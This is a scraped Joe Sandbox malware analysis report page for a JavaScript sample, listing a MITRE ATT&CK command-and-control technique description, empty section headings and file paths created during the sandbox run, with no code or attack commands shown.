Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22951172482589918451.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\df4adc9e-b913-4e7b-bbb0-7ea8ac116b29.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7392

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
22951172482589918451.js